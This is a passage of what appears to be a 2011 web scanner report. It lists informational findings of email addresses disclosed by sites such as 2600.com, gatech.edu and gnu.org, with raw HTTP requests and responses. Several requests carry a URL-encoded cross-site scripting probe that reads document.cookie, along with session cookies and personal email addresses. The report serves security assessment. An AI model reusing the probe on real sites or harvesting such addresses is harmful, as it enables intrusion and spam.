Phone: +1-408-536-3024
EMail: LMM@acm.org
URI: <a href="http://larry.masinter.net/">
...[SNIP]...

25.49. http://www.2600.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.2600.com
Path:	/

Issue detail

The following email address was disclosed in the response:

webmaster@2600.com

Request

GET / HTTP/1.1
Host: www.2600.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 21:52:53 GMT
Refresh: 1800; URL=http://www.2600.com/
Content-Type: text/html; charset=iso-8859-1
Content-Length: 29416
Connection: close

<html>
<head>
<title>2600: The Hacker Quarterly</title>
<script type="text/javascript" src="nav.js"></script>
<link rel="stylesheet" type="text/css" href="nav.css" />
<link rel="alternate" type="appli
...[SNIP]...
<A HREF="mailto:webmaster@2600.com"><FONT COLOR="#FDF511">webmaster@2600.com</FONT>
...[SNIP]...

25.50. http://www.alvit.de/css-showcase/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.alvit.de
Path:	/css-showcase/

Issue detail

The following email address was disclosed in the response:

webmaster@alvit.de

Request

GET /css-showcase/ HTTP/1.1
Host: www.alvit.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:05:15 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.17-0.dotdeb.0
Connection: close
Content-Type: text/html
Content-Length: 9672

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CSS Showcase | CSS Navigation M
...[SNIP]...
<meta name="author" content="vitaly.friedman, vf, Vitaly Friedman, webmaster@alvit.de, alvit.de/vf" />
...[SNIP]...
<a href="mailto:webmaster@alvit.de">
...[SNIP]...

25.51. http://www.baselinemag.com/js/s_code_relcon_new.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/js/s_code_relcon_new.js

Issue detail

The following email address was disclosed in the response:

id@Ss.tc

Request

GET /js/s_code_relcon_new.js HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998523669-New; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:21:28 GMT
Content-Type: application/x-javascript
Last-Modified: Wed, 13 Jan 2010 22:09:22 GMT
Connection: keep-alive
Expires: Sun, 06 Feb 2011 14:21:28 GMT
Cache-Control: max-age=3600
Content-Length: 19139

/* SiteCatalyst code version: H.19.4.
Copyright 1997-2009 Omniture, Inc. More info available at
http://www.omniture.com */

var s_account="emgrelatedcontent"
var s=s_gi(s_account)
/*******************
...[SNIP]...
';@w=s.vs(sed)`5trk`F@w)#4=s.mr($1,(vt#Rt`avt)`n+"
+"s.hav()+q+(qs?qs:s.rq(^4)),0,id,ta);qs`i;`Xm('t')`5s.p_r)s.p_r(`U`b`i}^G(qs);^b`t(@v;`p@v`M^2,`H$I1',vb`G''`5#F)`I^z$z=`I^zeo=`I^z`W`q=`I^z`W^c`i`5!id@Ss.tc@1tc=1;s.flush`T()}`2#4`9tl`0o,t,n,vo`1;@"
+"X=$7o`U`W^c=t;s.`W`q=n;s.t(@v}`5pg){`I^zco`0o){`L^t\"_\",1,#U`2$7o)`9wd^zgs`0u$S`L^t#71,#U`2s.t()`9wd^zdc`0u$S`L^t#7#U`2s.t()}}@A=(`I`P`g`8`4$5s@p0`Ud=^9;s.
...[SNIP]...

25.52. http://www.baselinemag.com/js/s_code_remote_new.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/js/s_code_remote_new.js

Issue detail

The following email address was disclosed in the response:

id@Ls.tc

Request

GET /js/s_code_remote_new.js HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sessioncookie=a3c496ee62329678ad4d9915421e3c06

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:21:25 GMT
Content-Type: application/x-javascript
Last-Modified: Wed, 27 Oct 2010 19:27:08 GMT
Connection: keep-alive
Expires: Sun, 06 Feb 2011 14:21:25 GMT
Cache-Control: max-age=3600
Content-Length: 21616

/* SiteCatalyst code version: H.17.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com */

var s_account="ziffdavisbaseline,ziffdavisenterpriseglobal"
var s=s_gi(s_
...[SNIP]...
hav()+q+(qs?qs:s."
+"rq(^C)),0,id,ta);qs`e;`Wm('t')`5s.p_r)s.p_r(`R`X`e}^7(qs);^z`p(@i;`l@i`L^9,`G$71',vb`R@G=^D=s.`N`i=s.`N^M=`F@0^y=s.ppu=^p=^pv1=^pv2=^pv3`e`5$x)`F@0@G=`F@0eo=`F@0`N`i=`F@0`N^M`e`5!id@Ls.tc#Ctc=1;s.f"
+"lush`a()}`2$m`Atl`0o,t,n,vo`1;s.@G=@wo`R`N^M=t;s.`N`i=n;s.t(@i}`5pg){`F@0co`0o){`K@J\"_\",1,#B`2@wo)`Awd@0gs`0$S{`K@J$p1,#B`2s.t()`Awd@0dc`0$S{`K@J$p#B`2s.t()}}@3=(`F`J`Y`8`4@us@d0`Rd=^L
...[SNIP]...

25.53. http://www.baysideeyes.com.au/referrer-information.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/referrer-information.htm

Issue detail

The following email addresses were disclosed in the response:

info@baysideeyes.com.au
info@msiimaging.com.au

Request

GET /referrer-information.htm HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:25 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12006

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...
<a href="mailto:info@baysideeyes.com.au">info@baysideeyes.com.au </a>
...[SNIP]...
<a href="mailto:info@msiimaging.com.au">info@baysideeyes.com.au</a>
...[SNIP]...

25.54. http://www.beckerortho.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/

Issue detail

The following email address was disclosed in the response:

menglish@beckerorthopedic.net

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 05 Feb 2011 21:49:37 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDCQSSDRQQ=LPAPMINCHLCMAFPPCLPLJAFD; path=/
Vary: Accept-Encoding
Content-Length: 35585

<html>
<head><link rel="shortcut icon" href="./favicon.ico" type="image/vnd.microsoft.icon">
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Leaders in Orthotics Componentr
...[SNIP]...
<INPUT TYPE=hidden NAME=cmail VALUE="menglish@beckerorthopedic.net">
...[SNIP]...

25.55. http://www.beckerortho.com/pastfp.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/pastfp.htm

Issue detail

The following email address was disclosed in the response:

mail@beckerorthopedic.net

Request

Response

HTTP/1.1 200 OK
Content-Length: 10793
Content-Type: text/html
Last-Modified: Mon, 08 Jun 2009 20:33:19 GMT
Accept-Ranges: bytes
ETag: "8e38ca5b78e8c91:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:24 GMT
Connection: close

<html>
<head><link rel="shortcut icon" href="./favicon.ico" type="image/vnd.microsoft.icon">
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Leaders in Orthotics Componentr
...[SNIP]...
<a href="mailto:mail@beckerorthopedic.net">mail@beckerorthopedic.net</a>
...[SNIP]...

25.56. http://www.beckerortho.com/services.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/services.htm

Issue detail

The following email address was disclosed in the response:

WCH1SOL@AOL.COM

Request

Response

HTTP/1.1 200 OK
Content-Length: 12392
Content-Type: text/html
Last-Modified: Mon, 14 Dec 2009 17:00:24 GMT
Accept-Ranges: bytes
ETag: "08457edde7cca1:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:07 GMT
Connection: close

<html>
<head><link rel="shortcut icon" href="./favicon.ico" type="image/vnd.microsoft.icon">
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Orthotics Central Fabrication S
...[SNIP]...
<a href="mailto:WCH1SOL@AOL.COM">WCH1SOL@AOL.COM</a>
...[SNIP]...

25.57. http://www.bibsonomy.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bibsonomy.org
Path:	/

Issue detail

The following email address was disclosed in the response:

webmaster@bibsonomy.org

Request

GET / HTTP/1.1
Host: www.bibsonomy.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.blackvoices.com
Path:	/$\|http:/latino.aol.com/$\|.ivillage.com.*/1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video

Issue detail

The following email address was disclosed in the response:

rik.robinson@platform-a.com

Request

Response

25.59. http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cisco.com
Path:	/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html

Issue detail

The following email address was disclosed in the response:

riw@cisco.com

Request

Response

25.60. http://www.codero.com/css/screen.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.codero.com
Path:	/css/screen.css

Issue detail

The following email address was disclosed in the response:

brycen@aplus.net

Request

GET /css/screen.css HTTP/1.1
Host: www.codero.com
Proxy-Connection: keep-alive
Referer: http://www.codero.com/dedicated-server-hosting95e50%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E537998c927c/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: symfony=2740hrtccfctbma3n2bg7bmvk5

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:24:35 GMT
Server: Apache/2.2.3 (CentOS) DAV/2 PHP/5.2.10 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5
Last-Modified: Wed, 06 May 2009 19:56:12 GMT
ETag: "43f7d0-f6-c98c8f00"
Accept-Ranges: bytes
Cache-Control: max-age=0, proxy-revalidate
Expires: Sun, 06 Feb 2011 16:24:35 GMT
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Type: text/css
Content-Length: 246

/*
File: screen.css
Theme: Codero
Author: Bryce Nill
email: brycen@aplus.net
*/

/* import stylesheets and hide from ie/mac \*/
@import url("reset.css");
@import url("grid.css");
@import url("style.css");
/* end import/hide */

25.61. http://www.codero.com/css/style.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.codero.com
Path:	/css/style.css

Issue detail

The following email address was disclosed in the response:

brycen@aplus.net

Request

GET /css/style.css HTTP/1.1
Host: www.codero.com
Proxy-Connection: keep-alive
Referer: http://www.codero.com/dedicated-server-hosting95e50%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E537998c927c/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: symfony=2740hrtccfctbma3n2bg7bmvk5

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:25:06 GMT
Server: Apache/2.2.3 (CentOS) DAV/2 PHP/5.2.10 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5
Last-Modified: Sat, 29 Jan 2011 00:00:44 GMT
ETag: "43f410-15fb0-dfc68300"
Accept-Ranges: bytes
Cache-Control: max-age=0, proxy-revalidate
Expires: Sun, 06 Feb 2011 16:25:06 GMT
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Type: text/css
Content-Length: 90032

/*
File: style.css
Theme: Codero
Author: Bryce Nill
email: brycen@aplus.net
*/

/*--------------------------------------------------
Typography
--------------------------------------------------*/

body {font: 12px Arial, Helvetica, sans-serif; color: #4d4d4d;}
#outer-conten
...[SNIP]...

25.62. http://www.codero.com/js/hoverIntent.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.codero.com
Path:	/js/hoverIntent.js

Issue detail

The following email address was disclosed in the response:

brian@cherne.net

Request

GET /js/hoverIntent.js HTTP/1.1
Host: www.codero.com
Proxy-Connection: keep-alive
Referer: http://www.codero.com/dedicated-server-hosting95e50%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E537998c927c/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: symfony=2740hrtccfctbma3n2bg7bmvk5; __utmz=1.1297009551.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/76; __utma=1.634878048.1297009551.1297009551.1297009551.1; __utmc=1; __utmb=1.1.10.1297009551

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:25:08 GMT
Server: Apache/2.2.3 (CentOS) DAV/2 PHP/5.2.10 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5
Last-Modified: Fri, 15 Oct 2010 17:26:48 GMT
ETag: "43fc94-8ad-219f6600"
Accept-Ranges: bytes
Cache-Control: max-age=0, proxy-revalidate
Expires: Sun, 06 Feb 2011 16:25:08 GMT
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Type: application/javascript
Content-Length: 2221

/**
* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
*
* @param f onMouseOver function || An object with configuration options
* @pa
...[SNIP]...
<brian@cherne.net>
...[SNIP]...

25.63. http://www.csc.gatech.edu/copeland/jac/6612/info/Install-wireshark-on-MacOS.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csc.gatech.edu
Path:	/copeland/jac/6612/info/Install-wireshark-on-MacOS.html

Issue detail

The following email address was disclosed in the response:

andreas@fink.org

Request

GET /copeland/jac/6612/info/Install-wireshark-on-MacOS.html HTTP/1.1
Host: www.csc.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:47 GMT
Server: Apache
Last-Modified: Wed, 09 Sep 2009 22:53:48 GMT
ETag: "1f34760-19d9-4732cf4b37700"
Accept-Ranges: bytes
Content-Length: 6617
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Installing Wireshark on Apple OSX</title>
</head>
<body style="background-color: rgb(255, 230, 202);">
<h3>Instal
...[SNIP]...
<br>
andreas@fink.org<br>
...[SNIP]...

25.64. http://www.csc.gatech.edu/copeland/jac/6612/info/SSH-No-Password-Login.txt previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csc.gatech.edu
Path:	/copeland/jac/6612/info/SSH-No-Password-Login.txt

Issue detail

The following email address was disclosed in the response:

me123@ecelinsrv3.ece.gatech.edu

Request

GET /copeland/jac/6612/info/SSH-No-Password-Login.txt HTTP/1.1
Host: www.csc.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:49 GMT
Server: Apache
Last-Modified: Fri, 28 Jan 2011 12:52:11 GMT
ETag: "1048020-d61-49ae788dab4c0"
Accept-Ranges: bytes
Content-Length: 3425
Connection: close
Content-Type: text/plain

==Make key for "ecelinsrv3", see notes at bottom ===========

[my_PC:~] ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/Users/me123/.ssh/id_rsa): [ENTE
...[SNIP]...
6a:fa:fb:5b:40:35:e3:2a:1d:d3:95:76.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'ecelinsrv3.ece.gatech.edu,130.207.232.12' (RSA) to the list of known hosts.

me123@ecelinsrv3.ece.gatech.edu's password: [password]
id_rsa.pub 100% 243 0.2KB/s 00:00

[my_PC:~] ssh me123@ecelinsrv3.ece.gatech.edu
me123@ecelinsrv3.ece.gatech.edu's password: [ENTER]
... logon message ...
me123@ecelinsrv3.ece.gatech.edu> mkdir .ssh # in case it does not exist
me123@ecelinsrv3.ece.gatech.edu> cat new_file >> .ssh/authorized_hosts #append without deleting
me123@ecelinsrv3.ece.gatech.edu> rm new_file # delete temporary file
me123@ecelinsrv3.ece.gatech.edu>
...[SNIP]...
faculty 243 Feb 10 15:06 id_rsa.pub # not the file you just created
-rw-r--r-- 1 me123 faculty 1343 Dec 9 14:06 known_hosts
-rw-r--r-- 1 me123 faculty 3682 Jun 9 16:50 authorized_keys

me123@ecelinsrv3.ece.gatech.edu> exit # logout, or control-D

[my_PC:~] ssh ecelinsrv3.ece.gatech.edu
Last login: Fri Feb 10 15:06:47 2006 from my_PC.ece.gatech,edu
### no password!!!
me123@ecelinsrv3.ece.gatech.edu> ls -l .ssh/
total 6
-rw-r--r-- 1 me123 faculty 1343 Dec 9 14:06 known_hosts
-rw-r--r-- 1 me123 faculty 3682 Jun 9 16:50 authorized_keys

me123@ecelinsrv3.ece.gatech.edu>
...[SNIP]...
r will be different in your case.

[my_PC:~] The command prompt from your client computer.

me123 *Your username on the SSH server

ecelinsrv3.ece.gatech.edu *The name of the SSH server computer.

me123@ecelinsrv3.ece.gatech.edu>
...[SNIP]...

25.65. http://www.csc.gatech.edu/~copeland/6612/info/Install-wireshark-on-MacOS.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csc.gatech.edu
Path:	/~copeland/6612/info/Install-wireshark-on-MacOS.html

Issue detail

The following email address was disclosed in the response:

andreas@fink.org

Request

GET /~copeland/6612/info/Install-wireshark-on-MacOS.html HTTP/1.1
Host: www.csc.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.66. http://www.cygwin.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cygwin.com
Path:	/

Issue detail

The following email address was disclosed in the response:

aaaspam@sourceware.org

Request

GET / HTTP/1.1
Host: www.cygwin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:50 GMT
Server: Apache/2.0.52 (Red Hat)
Accept-Ranges: bytes
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 8780

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...
<a href="mailto:aaaspam@sourceware.org" color="white"></a>aaaspam@sourceware.org
IT IS HERE ONLY TO COLLECT SPAM. IF YOU SEND EMAIL TO THIS ADDRESS YOU WILL BE AUTOMATICALLY BLOCKED.
</body>
...[SNIP]...

25.67. http://www.dest-unreach.org/socat/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dest-unreach.org
Path:	/socat/

Issue detail

The following email address was disclosed in the response:

socat@dest-unreach.org

Request

GET /socat/ HTTP/1.1
Host: www.dest-unreach.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:50 GMT
Server: Apache/2.2.9 (Debian) DAV/2 SVN/1.5.1 PHP/5.2.6-1+lenny9 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
Last-Modified: Sun, 07 Nov 2010 17:20:42 GMT
ETag: "1220068-18e8-49479ba284e80"
Accept-Ranges: bytes
Content-Length: 6376
Connection: close
Content-Type: text/html


<html><head>
<title>socat</title></head>
<body>
<p><a href="../">dest-unreach</a> / <b>socat</b></p>
<h1>socat - Multipurpose relay</h1>
<h2>Abstract</h2>
<pre>
...[SNIP]...
<a href="mailto:socat@dest-unreach.org">socat@dest-unreach.org</a>
...[SNIP]...

25.68. http://www.ebooklibs.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ebooklibs.com
Path:	/

Issue detail

The following email address was disclosed in the response:

arifptm@gmail.com

Request

GET / HTTP/1.1
Host: www.ebooklibs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:03:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Set-Cookie: PHPSESSID=960c78bbb1339e72b86aff1fa9dcfed2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28212

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="rob
...[SNIP]...
<a href="mailto:arifptm@gmail.com" style="font-weight:bold;">
...[SNIP]...

25.69. http://www.ece.gatech.edu/about/contact_us.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ece.gatech.edu
Path:	/about/contact_us.html

Issue detail

The following email addresses were disclosed in the response:

Jackie.Nemeth@ece.gatech.edu
academic@ece.gatech.edu
help@ece.gatech.edu
webmaster@ece.gatech.edu

Request

GET /about/contact_us.html HTTP/1.1
Host: www.ece.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:03:15 GMT
Server: Apache
Last-Modified: Tue, 13 Apr 2010 15:54:37 GMT
ETag: "1992124-57d9-48420474ea940"
Accept-Ranges: bytes
Content-Length: 22489
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><!-- InstanceBegin template="/Templates/ece.dwt" codeOutsideHTMLIsLocked
...[SNIP]...
<a href="mailto:academic@ece.gatech.edu">
...[SNIP]...
<a href="mailto:help@ece.gatech.edu">
...[SNIP]...
<a href="mailto:Jackie.Nemeth@ece.gatech.edu">
...[SNIP]...
<a href="mailto:webmaster@ece.gatech.edu">
...[SNIP]...

25.70. http://www.eecis.udel.edu/~ntp/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.eecis.udel.edu
Path:	/~ntp/

Issue detail

The following email address was disclosed in the response:

webmaster@ntp.org

Request

GET /~ntp/ HTTP/1.1
Host: www.eecis.udel.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:03:15 GMT
Server: Apache
Last-Modified: Tue, 27 May 2003 00:00:21 GMT
ETag: "4a2-a32-3be9a03600f40"
Accept-Ranges: bytes
Content-Length: 2610
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">

<head>
<title>ntp.org -- home of the Network Time Protocol Project</title>
<link rev="made" href="mailto:webmaster@ntp.org" />
...[SNIP]...
<meta name="Author" content="NTP Webmaster, webmaster@ntp.org" />
...[SNIP]...

25.71. http://www.gatech.edu/support/legal.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gatech.edu
Path:	/support/legal.html

Issue detail

The following email address was disclosed in the response:

Request

GET /support/legal.html HTTP/1.1
Host: www.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:05:52 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.10 ZendServer/4.0
X-Prod: 1
Content-Length: 7009
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>GT | Legal
...[SNIP]...
<a href="mailto:copyright.notify@gatech.edu">copyright.notify@gatech.edu</a>
...[SNIP]...
<a href="mailto:copyright.notify@gatech.edu">copyright.notify@gatech.edu</a>
...[SNIP]...

25.72. http://www.gnu.org/licenses/gpl.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gnu.org
Path:	/licenses/gpl.html

Issue detail

The following email addresses were disclosed in the response:

gnu@gnu.org
web-translators@gnu.org
webmasters@gnu.org
you@example.com

Request

GET /licenses/gpl.html HTTP/1.1
Host: www.gnu.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:11 GMT
Server: Apache
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Sat, 05 Feb 2011 23:02:11 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 49695

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http
...[SNIP]...
<link rev="made" href="mailto:webmasters@gnu.org" />
...[SNIP]...
<input type="text" id="frmEmail" name="email" size="15" maxlength="80" value="you@example.com" onfocus="this.value=''" />
...[SNIP]...
<a href="mailto:gnu@gnu.org"><em>gnu@gnu.org</em>
...[SNIP]...
<a href="mailto:webmasters@gnu.org"><em>webmasters@gnu.org</em>
...[SNIP]...

...[SNIP]...

25.73. http://www.gnu.org/licenses/lgpl.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gnu.org
Path:	/licenses/lgpl.html

Issue detail

The following email addresses were disclosed in the response:

